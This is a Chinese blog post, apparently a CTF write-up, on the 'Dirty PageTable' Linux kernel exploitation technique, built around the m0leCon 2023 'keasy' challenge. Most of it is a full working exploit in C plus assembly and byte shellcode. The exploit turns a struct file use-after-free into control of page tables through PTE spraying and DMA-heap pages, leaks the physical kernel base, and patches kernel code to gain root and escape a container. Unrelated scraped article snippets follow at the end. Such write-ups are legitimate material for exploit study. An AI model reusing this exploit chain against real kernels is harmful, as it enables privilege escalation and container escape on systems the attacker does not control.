Dirty PageTable

前言

Dirty PageTable 是一种针对堆相关漏洞的利用手法,主要就是针对 PTE 进行攻击。

参考文章:
Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel – 该利用方式提出原文

上述文章已经讲的非常清楚了,就是实操写 exp 时存在一些问题?比如:

  • pid uaf 中,如何稳定的控制 struct pid 的分配与释放?如何控制 pid->count 字段的增长?即如何构造 inc 原语?
  • 同理,在 file uaf 中也存在上述问题,但是在 file uaf 中其控制比较简单,打开关闭相应的文件即可。

在其它堆漏洞中,其利用方式也是大同小异的,总的来说步骤如下:

  • 堆喷 obj 并构造 victim obj
  • 释放 objvictim slab 中,使得 victim slabbuddy system 回收
  • 堆喷 pte,使得页表占据 victim slab page
  • 利用 uaf obj 写相关 pte

这里仅仅针对 pid uaffile uaf 做相关记录

file uaf

例题:m0leCon Finals 2023 CTF keasy
参考文章:Understanding Dirty Pagetable - m0leCon Finals 2023 CTF Writeup

文章讲的很清楚了,主要记录下关键点。


漏洞点

static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
        long ret = -EINVAL;
        struct file *myfile;
        int fd;

        if (!enabled) {
                goto out;
        }
        enabled = 0;

    myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);

    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0) {
        ret = fd;
        goto err;
    }

    fd_install(fd, myfile);

        if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
                ret = -EINVAL;
                goto err;
        }

        ret = 0;
    return ret;

err:
    fput(myfile);
out:
        return ret;
}

漏洞在于当 copy_to_user 函数复制失败时,会调用 fput 释放 myfile -- struct file ,但是并没有将其解绑,即没有将 fdmyfile 解绑,所以在释放 myfile 后,还是可以通过 fd 操作 file 结构体从而导致 UAF

注:这里由于没有上锁,所以可以通过 race condition 多次触发,但是这里没有必要。还有就是 fput 的行为是将 file->f_count 减一,只有当 file->f_count 为 0 时,file 才会被释放


如何控制 struct file 的分配与释放:即如何稳定的堆喷 struct file

这个比较简单,打开/关闭文件就可以控制 struct file 的分配/释放


如何堆喷 pte:即如何分配页表页面

利用 mmap 申请大量匿名页面即可;当向访问这些匿名页面时就会在页表项中填充物理地址,即效果就是堆喷 pte,而页表页面的分配也是通过 buddy system 分配的。


如何使得页表页面占据 victim slab page

这里利用 cross cache attack 手法,详细参考CVE-2022-29582 An io_uring vulnerability

  • 先让 buddy system 回收 victim slab
  • 然后堆喷 pte,其会从 buddy system 中分配页表页面,这里就大概率就会拿到 victim slab

效果如下:
1)victim file
在这里插入图片描述
可以看到这里的 file->f_count = 1

2)free victim file
在这里插入图片描述
可以看到这里的 file->f_count = 0

3)spray pte
在这里插入图片描述
这里就变成了 pte 字段

注: 堆喷 pte 时,每次 mmap 8 个页面大小,这里主要是为了让 file->f_count 字段与某个 pte 重合,当然这里大于 8 个页面大小也行。然后这里似乎是刚好与 file 重合,所以小于 8 个页面大小则无法使得 file->f_count 字段与某个 pte 重合。

struct file {
	union {
		struct llist_node	f_llist;
		struct rcu_head 	f_rcuhead;
		unsigned int 		f_iocb_flags;
	};
	struct path				f_path;
	struct inode			*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	/*
	* Protects f_ep, f_flags.
	* Must not be taken from IRQ context.
	*/
	spinlock_t			f_lock;
	atomic_long_t		f_count;
......

可以看到该版本的内核其 file->f_count0x40 位置,当然直接调试也可以看出来


如何构造 inc 原语:即如何增加 file->f_count 的值

原文中采用的方式是使用 dup 系统调用,其会增加 file 的引用计数,但是这里存在一个问题就是每个进程的文件描述符资源是有限的,也就是说不能无限制的增加 file->f_count,然后原文中给出了解决方案:

  • 利用 fork + dup 解决该限制

利用关键点:如何控制用户页表
在上面,我们说了可以利用 fork + dup 来解决 inc 原语的限制,但是有个问题就是我们最终的目的是提权(或拿 flag),所以我们的想法是修改 pte 使得其关联到 kernel _text/_data 段,这样就可以修改程序硬编码提权(比如修改 setresuid 函数,这个在 USMA 中也利用过),但问题是 mmap 的内存区域可能在其下方,所以 inc 原语则无法完成利用,因此我们需要更强大的攻击原语:直接控制用户页表
1)构造页级 UAF【FALSE】
利用 inc 原语使得两个虚拟地址对应同一个物理地址,这里构造比较简单,因为我们是连续 mmap 大量内存页,所以大概率这些内存页是物理连续的,所以利用 inc 原语增加 0x1000、0x2000、0x3000 ...... 即可,效果如下:
在这里插入图片描述
现在 evil pagevictim page 关联同一个物理页,如果我们 munmapvictim page 不就可以释放掉其对应的物理页了吗?这时如果我们可以堆喷其它 obj 占据该物理页,即可完成页级 UAF 的构造。
最简单的想法就是再堆喷 pte 使其占据该物理页,然后就可以利用 evil page 任意修改 pte 了。但是这种方案在原文章中被否定了,理由如下:

The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone.

2)间接控制 pte【TRUE】
然后原文中给出了解决方案:
看看原文咋说的(文章是以 DMA_BUF 为例的):

We know that kernel space and user space need to share some physical pages in some cases. The sharing physical pages are mmaped into kernel space and user space at the same time, so they can be accessed from both spaces. Quite a few components can be used to allocate such sharing pages, such as dma-buf heaps, io_uring, GPUs and etc.

这里建议看原文,就多不说了,主要的内容就是说:分配单个共享页面时,分配 gfp_flagsLOW_ORDER_GFP,即是从 MIGRATE_UNMOVABLE 类型的 free_area 中分配的,并且分配阶 order = 0,这跟页表的分配是契合的,所以结论就是:

The single sharing page and page table are allocated from the same migrate free_cache with the same order.

所以我们可以通过分配单个共享页面,使得这个共享页面与页表页面的物理地址是相邻的。然后我们可以 munmap evil pagevictim pte 空闲出来,然后 mmap 该共享页面使其占据该 victim pte,然后通过 inc 原语即可将共享页面的物理地址设置为页表页面地址,然后即可控制 pte

这里无法调试,因为 gdb 里面好像是无法直接查看物理地址的内容的,所以这里我不知道如何去确认是否堆喷成功。但是看上面的参考文章是可以直接在 gdb 里面查看物理地址的内容的,应该是作者自己写的插件


如何进行提权:在控制 pte 后该如何进行提权(逃逸)
按照上述思路,主要就是通过修改硬编码进行提权?而题目开启了 kaslr 保护,所以对应内核 _text/_data 段的地址并不固定。但是这里我们是直接操作的物理地址,所以得想办法泄漏内核基地址的物理地址。

方案1:利用固定物理地址上残留的页表项地址泄漏内核基物理地址
在参考文章中,其指出:目前在 linux/windows 上仍然存在一些固定的物理地址,其保存着页表地址。

但是这里笔者不知道该固定地址是如何得出的,也没有办法查看,但是事实是确实是正确的。当然如果读者有知道这个方案,希望可以不吝赐教

然后就是逃逸了,由于逃逸不太懂就不说了,具体可以参考该文章,逃逸 shellcode 如下:

  init_cred         	 equ 0x1445ed8
  commit_creds      	 equ 0x00ae620
  find_task_by_vpid 	 equ 0x00a3750
  init_nsproxy     		 equ 0x1445ce0
  switch_task_namespaces equ 0x00ac140
  init_fs                equ 0x1538248
  copy_fs_struct         equ 0x027f890
  kpti_bypass            equ 0x0c00f41

_start:
  endbr64
  call a
a:
  pop r15
  sub r15, 0x24d4c9

  ; commit_creds(init_cred) [3]
  lea rdi, [r15 + init_cred]
  lea rax, [r15 + commit_creds]
  call rax

  ; task = find_task_by_vpid(1) [4]
  mov edi, 1
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; switch_task_namespaces(task, init_nsproxy) [5]
  mov rdi, rax
  lea rsi, [r15 + init_nsproxy]
  lea rax, [r15 + switch_task_namespaces]
  call rax

  ; new_fs = copy_fs_struct(init_fs) [6]
  lea rdi, [r15 + init_fs]
  lea rax, [r15 + copy_fs_struct]
  call rax
  mov rbx, rax

  ; current = find_task_by_vpid(getpid())
  mov rdi, 0x1111111111111111   ; will be fixed at runtime
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; current->fs = new_fs [8]
  mov [rax + 0x740], rbx

  ; kpti trampoline [9]
  xor eax, eax
  mov [rsp+0x00], rax
  mov [rsp+0x08], rax
  mov rax, 0x2222222222222222   ; win
  mov [rsp+0x10], rax
  mov rax, 0x3333333333333333   ; cs
  mov [rsp+0x18], rax
  mov rax, 0x4444444444444444   ; rflags
  mov [rsp+0x20], rax
  mov rax, 0x5555555555555555   ; stack
  mov [rsp+0x28], rax
  mov rax, 0x6666666666666666   ; ss
  mov [rsp+0x30], rax
  lea rax, [r15 + kpti_bypass]
  jmp rax

  int3

这里贴个 exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
  u64 len;
  u32 fd;
  u32 fd_flags;
  u64 heap_flags;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void decc(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %d\n\033[0m", msg, value);
}


void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;

void uaf() {
        ioctl(fd, 0, 0xdeadbeef);
}

static void win() {
  char buf[0x100];
  int fd = open("/dev/sda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  getchar();
  exit(0);
}

#define N_FILESPRAY 0x100
#define N_PAGESPRAY (0x200 * 6)

int main(int argc, char** argv, char** envp)
{

        bind_core(0);
        save_status();

        char buf[0x1000];
        int file_spray[N_FILESPRAY];
        void* page_spray[N_PAGESPRAY];
        void* evil_page = NULL;
        void* victim_page = NULL;
        int uaf_fd;
        int dma_buf_fd;
        int dma_heap_fd;

        fd = open("/dev/keasy", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /dev/keasy");

        dma_heap_fd = open("/dev/dma_heap/system", O_RDWR);
        if (dma_heap_fd < 0) err_exit("FAILED to open /dev/dma_heap/system");

        struct dma_heap_allocation_data data;
        data.len = 0x1000;
        data.fd_flags = O_RDWR;
        data.heap_flags = 0;
        data.fd = 0;

        info("Prepare pages for PTE");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                page_spray[i] = mmap((void*)(0xdead0000UL+i*0x10000UL),
                                        0x8000, PROT_READ|PROT_WRITE,
                                        MAP_ANONYMOUS|MAP_SHARED, -1, 0);
                if (page_spray[i] == MAP_FAILED) err_exit("FAILED to mmap many pages");
        }

        info("Spray struct file");
        for (int i = 0; i < N_FILESPRAY / 2; i++) {
                file_spray[i] = open("/", O_RDONLY);
                if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");
        }

        info("Get A UAF FILE");

        uaf_fd = file_spray[N_FILESPRAY / 2 - 1] + 1;
        uaf();
        decc("uaf_fd", uaf_fd);

        info("Spray struct file");
        for (int i = N_FILESPRAY / 2; i < N_FILESPRAY; i++) {
                file_spray[i] = open("/", O_RDONLY);
                if (file_spray[i] < 0) err_exit("FAILED to open \"/\" to spray struct file");
        }

        info("Free struct file to victim slab");
        for (int i = 0; i < N_FILESPRAY; i++) {
                close(file_spray[i]);
        }

        info("Spray PTE to occupy victim slab page");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                if (i == N_PAGESPRAY / 3) {
                        if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
                                err_exit("DMA_HEAP_IOCTL_ALLOC");
                        }
                        dma_buf_fd = data.fd;
                }
                for (int j = 0; j < 8; j++) {
                        *(uint64_t*)(page_spray[i] + j*0x1000) = page_spray[i] + j*0x1000;
                }
        }

        info("Inc file->f_count to find victim page");
        for (int i = 0; i < 0x1000; i++) {
                if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");
        }

        info("CHECK to find victim page");
        for (int i = 0; i < N_PAGESPRAY; i++) {
                for (int j = 0; j < 8; j++) {
                        if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {
                                evil_page = page_spray[i]+j*0x1000;
                                victim_page = *(uint64_t*)(page_spray[i]+j*0x1000);
                                break;
                        }
                }
        }

        if (evil_page == NULL) err_exit("FAILED to find victim page");
        hexx("evil page addr", evil_page);
        hexx("victim page addr", victim_page);

        info("munmap evil_page to construct page UAF");
        munmap(evil_page, 0x1000);

        void* dma_page = mmap(evil_page, 0x1000, PROT_READ|PROT_WRITE,
                        MAP_SHARED|MAP_POPULATE, dma_buf_fd, 0);

        if (dma_page == MAP_FAILED) err_exit("FAILED to mmap dma_page");

        hexx("dma page addr", dma_page);
        *(uint64_t*)dma_page = 0x4141414141414141;

        info("Inc file->f_coint to hijack pte page");
        for (int i = 0; i < 0x1000; i++) {
                if (dup(uaf_fd) < 0) err_exit("FAILED to inc file->f_count");
        }


        if (((*(uint64_t*)dma_page) & 0xf0000000000000ff) != 0x8000000000000067) {
                puts(dma_page);
                err_exit("FAILED to hijack pte page");
        }

        *(uint64_t*)dma_page = *(uint64_t*)dma_page + 0x1000;
        info("CHECK to find pte page");
        void* pte_page = NULL;
        for (int i = 0; i < N_PAGESPRAY; i++) {
                for (int j = 0; j < 8; j++) {
                        if (*(uint64_t*)(page_spray[i]+j*0x1000) != evil_page) {
                                if (*(uint64_t*)(page_spray[i]+j*0x1000) != page_spray[i]+j*0x1000) {
                                        pte_page = page_spray[i]+j*0x1000;
                                        break;
                                }
                        }
                }
        }

        if (pte_page == NULL) err_exit("FAIED to find pte page");
        hexx("pte page addr", pte_page);

        info("Leak Kernel Base");
        *(uint64_t*)dma_page = 0x800000000009c067;
        uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;
        hexx("physical kernel base", phys_base);

        size_t phys_func = phys_base + 0x24d4c0;
        *(size_t*)dma_page = (phys_func & ~0xfff) | 0x8000000000000067;
        char shellcode[] = {
                        0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9,
                        0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6,
                        0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a,
                        0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d,
                        0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49,
                        0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11,
                        0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0,
                        0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89,
                        0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89,
                        0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89,
                        0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
                        0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89,
                        0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89,
                        0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc };
        void *p;
        p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
        *(size_t*)p = getpid();
        p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
        *(size_t*)p = (size_t)&win;
        p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
        *(size_t*)p = user_cs;
        p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
        *(size_t*)p = user_rflags;
        p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
        *(size_t*)p = user_sp;
        p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
        *(size_t*)p = user_ss;

        memcpy(pte_page + (phys_func & 0xfff), shellcode, sizeof(shellcode));
        printf("[+] %d\n", symlink("/jail/x", "/jail"));

        puts("[+] EXP NERVER END");
//      getchar();
        return 0;
}

效果如下:
在这里插入图片描述
问题疑惑
最后的 exp 有点奇怪,当开启 kaslr 时,可以正确读出 flag;但是当关闭 kaslr 时,似乎无法正确执行 symlink,感觉应该是 shellcode 存在一点问题,因为 shellcode 一开始是利用的栈上的数据泄漏的 virtual kernel addr,我感觉开启 kaslr 和没有开启 kaslr 的栈不太一样。

方案2:遍历页表(物理地址)泄漏内核基物理地址
经过思考,笔者认为内核的基物理地址(后面简称基地址)应该位于较低的内存页上,因此我们可以直接往前遍历页表,然后利用基地址对应内存页上的特殊数据作为 TAG 进行 check 是否命中即可。
最后修改的 exp 如下:其它代码都是一样的,就是泄漏 physical kernel base 时,采用的时遍历页表的方式

        info("Leak Kernel Base");
//      *(uint64_t*)dma_page = 0x800000000009c067;
//      uint64_t phys_base = (*(uint64_t*)pte_page & (~0xfff)) - 0x1c04000;

        *(uint64_t*)dma_page = *(uint64_t*)dma_page & (~0xfffff) | 0x8000000000000067;
        uint64_t phys_base;
        for (int i = 0;;i++) {
                *(uint64_t*)dma_page = *(uint64_t*)dma_page - 0x100000;
                if (*(uint64_t*)pte_page == 0x4801403f51258d48) {
                        printf("\033[32mpte: %#llx  NUMBER TAG: %#llx\n\033[0m", *(uint64_t*)dma_page, *(uint64_t*)pte_page);
                        phys_base = (*(uint64_t*)dma_page & (~0xf000000000000fff));
                        break;
                }
                // 如果删除该 printf,关闭 kaslr 时会出现页表解析问题
                printf("pte: %#llx  NUMBER TAG: %#llx\n", *(uint64_t*)dma_page, *(uint64_t*)pte_page);
        }

效果如下:
在这里插入图片描述
可以看到最后也是可以成功泄漏 physical kernel base

问题疑惑
还是对于 kaslr 是否开启的情况,当 kaslr 开启时没啥问题。当 kaslr 关闭时,必须在 leak base 时加上最后的 printf 语句才可能正常执行,否则在遍历页表时会出现页表项解析错误等问题,反正归功于玄学就对了。当然这里也说明了方案1中关闭 kaslr 出错的原因不是 shellcode 的问题,而是没有正确的泄漏 physical kernel base


总结
个人觉得遍历页表泄漏 physical kernel base 的方式更直观和容易理解,主要是对于固定的物理地址去泄漏这个方案,gdb 中是无法查看物理地址的,所以我也不知道最后泄漏出来的页表项地址与 physical kernel base 的偏移是怎么算出来的。
对了,在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000
终极大疑问
kalsr 不是随机化的虚拟地址吗?跟物理地址有啥关系?为啥关闭 kaslr 时, physical kernel base 是固定的呢?
我的解释是:这里虚拟基地址应该在 DMA 区域,所以虚拟地址和物理地址直接只是相差一个偏移,所以虚拟地址和物理地址理论上是绑定的,即:virt_addr - offset = phys_addr,而 offset 是固定的。所以当关闭 kaslr 时,virt_addr 是不变的,所以 phys_addr 也是不变的,这也解释了为啥在关闭 kaslr 时,测试发现 physical kernel base 固定为 0x1000000 ;而开启 kaslr 时,每次泄漏的 physical kernel base 是不同的也就可以解释了。

pid uaf

todo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/389195.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

25天物理探索旅程 - 第四天:光的奇妙旅程揭秘

第四天&#xff0c;我们的科普探险队将踏上一段非凡的旅程&#xff0c;目标是揭开光——这位宇宙间最具魔法特质的信使的秘密面纱。今天&#xff0c;我们将以一种轻松愉快、幽默风趣的方式探讨光的本质&#xff0c;像看一场生动有趣的魔术表演般&#xff0c;领略光那波粒二象性…

Java基础常见面试题总结-并发(一)

线程池 线程池&#xff1a;一个管理线程的池子。 为什么平时都是使用线程池创建线程&#xff0c;直接new一个线程不好吗&#xff1f; 嗯&#xff0c;手动创建线程有两个缺点 不受控风险频繁创建开销大 为什么不受控&#xff1f; 系统资源有限&#xff0c;每个人针对不同业…

垃圾分类|城市垃圾分类管理系统|基于Springboot的城市垃圾分类管理系统设计与实现(源码+数据库+文档)

城市垃圾分类管理系统目录 目录 基于Springboot的城市垃圾分类管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、垃圾列表 2、公告信息管理 3、公告类型管理 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 …

thinkphp+vue企业产品展示网站f7enu

本文首先介绍了企业产品展示网站管理技术的发展背景与发展现状&#xff0c;然后遵循软件常规开发流程&#xff0c;首先针对系统选取适用的语言和开发平台&#xff0c;根据需求分析制定模块并设计数据库结构&#xff0c;再根据系统总体功能模块的设计绘制系统的功能模块图&#…

qml之Control类型布局讲解,padding属性和Inset属性细讲

1、Control布局图 2、如何理解&#xff1f; *padding和*Inset参数如何理解呢&#xff1f; //main.qml import QtQuick 2.0 import QtQuick.Controls 2.12 import QtQuick.Layouts 1.12 import QtQuick.Controls 1.4 import QtQml 2.12ApplicationWindow {id: windowvisible: …

CentOS7.9+Kubernetes1.29.2+Docker25.0.3高可用集群二进制部署

CentOS7.9Kubernetes1.29.2Docker25.0.3高可用集群二进制部署 Kubernetes高可用集群&#xff08;Kubernetes1.29.2Docker25.0.3&#xff09;二进制部署二进制软件部署flannel v0.22.3网络&#xff0c;使用的etcd是版本3&#xff0c;与之前使用版本2不同。查看官方文档进行了解…

无人机导航技术,无人机导航理论基础,无人机导航技术应用发展详解

惯性/卫星定位组合是一种比较理想的组合导航系统。在无人机导航领域&#xff0c;多年来惯性/卫星定位组合导航系统的研究一直受到普遍的关注&#xff0c;大量的理论研究成果得到实际应用。 常见的几类导航系统 单一导航 卫星导航系统 、多普勒导航、惯性导航系统(INS) 、图形…

苹果展示 AI 新模型 MGIE,可一句话精修图片

苹果公司近日发布了名为“MGIE”的新型开源人工智能模型&#xff0c;它可以根据自然语言指令编辑图像。 2 月 8 日消息&#xff0c;相比较微软的风生水起&#xff0c;苹果公司在 AI 领域的布局显得低调很多&#xff0c;但这并不意味着苹果在该领域就没有丝毫建树。苹果公司近日…

Unresolved reference: kotlinx 和 Unresolved reference:xxx

Unresolved reference: kotlinx 这个报错是因为build.gradle中忘记apply plugin了 apply plugin: kotlin-android-extensions如下 同步以后再次编译发现报错 Unresolved reference:xxx 是因为用于使用 Gradle 构建的 Kotlin 版本与 IDE 插件中的版本不一样的原因 解决方法 …

Lag-Llama:第一个时间序列预测的开源基础模型介绍和性能测试

2023年10月&#xff0c;我们发表了一篇关于TimeGPT的文章&#xff0c;TimeGPT是时间序列预测的第一个基础模型之一&#xff0c;具有零样本推理、异常检测和共形预测能力。 虽然TimeGPT是一个专有模型&#xff0c;只能通过API访问。但是它还是引发了对时间序列基础模型的更多研…

算法刷题:有效三角形个数

有效三角形个数 .题目链接题目详情算法原理补充知识点双指针:对撞指针 我的答案 . 题目链接 有效三角形个数 题目详情 算法原理 补充知识点 有效三角形需要满足的条件: ab>cac>bbc>a 其实在满足1的时候,c是最大的,那么2和3是显然成立的,因此我们可以这样解题: 对…

C# winfrom中NPOI操作EXCEL

前言 1.整个Excel表格叫做工作表&#xff1a;WorkBook&#xff08;工作薄&#xff09;&#xff0c;包含的叫页&#xff08;工作表&#xff09;&#xff1a;Sheet&#xff1b;行&#xff1a;Row&#xff1b;单元格Cell。 2.忘了告诉大家npoi是做什么的了&#xff0c;npoi 能够读…

react 【七】各种hooks的使用/SPA的缺点

文章目录 1、Hook1.1 为什么会出现hook1.2 useState1.3 useEffect1.4 useContext1.5 useReducer1.6 useCallback1.7 useMemo1.8 useRef1.8.1 ref绑定dom1.8.2 ref解决闭包缺陷 1.9 useImperativeHandle1.10 useLayoutEffect1.11 自定义Hook1.11.1 什么是自定义Hook1.11.2 Conte…

Python 字符串格式化输出

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站零基础入门的AI学习网站~。 前言 字符串格式化是编程中一个常见的需求&#xff0c;它可以们将不同类型的数据&#xff08;如数字、文本、日…

Django问题报错:TypeError: as_view() takes 1 positional argument but 2 were given

一、错误位置 from django.urls import pathfrom users_app.views import RegisterView, LoginView, LogoutViewapp_name users urlpatterns [path("register/", RegisterView.as_view, name"register"),path("login/", LoginView.as_view, n…

基于四叉树的图像分割算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本 matlab2022a 3.部分核心程序 ........................................................... Imgs(dx 1 : dx R1, dy 1 …

阿里云幻兽帕鲁Linux 服务器下载游戏存档的方法

阿里云幻兽帕鲁Linux 服务器下载游戏存档的方法也非常简单。 远程连接到阿里云的 linux服务器后&#xff0c;可以在 ECS 远程连接命令行界面&#xff0c;点击左上角的文件&#xff0c;打开文件树。通过一行命令打包。 在打包后的 Saved.tar 文件上右键&#xff0c;选择 下载文…

【Go语言】Go项目工程管理

GO 项目工程管理&#xff08;Go Modules&#xff09; Go 1.11 版本开始&#xff0c;官方提供了 Go Modules 进行项目管理&#xff0c;Go 1.13开始&#xff0c;Go项目默认使用 Go Modules 进行项目管理。 使用 Go Modules的好处是不再需要依赖 GOPATH&#xff0c;可以在任意位…

《剑指offer》

本专题是分享剑指offer的一些题目&#xff0c;开始刷题计划。 二维数组的中的查找【https://www.nowcoder.com/practice/abc3fe2ce8e146608e868a70efebf62e?tpId13&tqId11154&ru/exam/oj】 描述 在一个二维数组array中&#xff08;每个一维数组的长度相同&#xff0…

Python4Delphi: Delphi 程序使用 Python 抓取网页

想用程序去抓取一个网页的内容&#xff0c;Delphi 有自己的 HTTP 库。比如 Indy 的 TIdHTTP&#xff0c;或者 TNetHTTPClient。 这里测试一下使用 Python 的 HTTP 库抓取网页&#xff0c;然后把抓取的内容给 Delphi 的程序。 Delphi 程序&#xff0c;界面上拖控件如下&#x…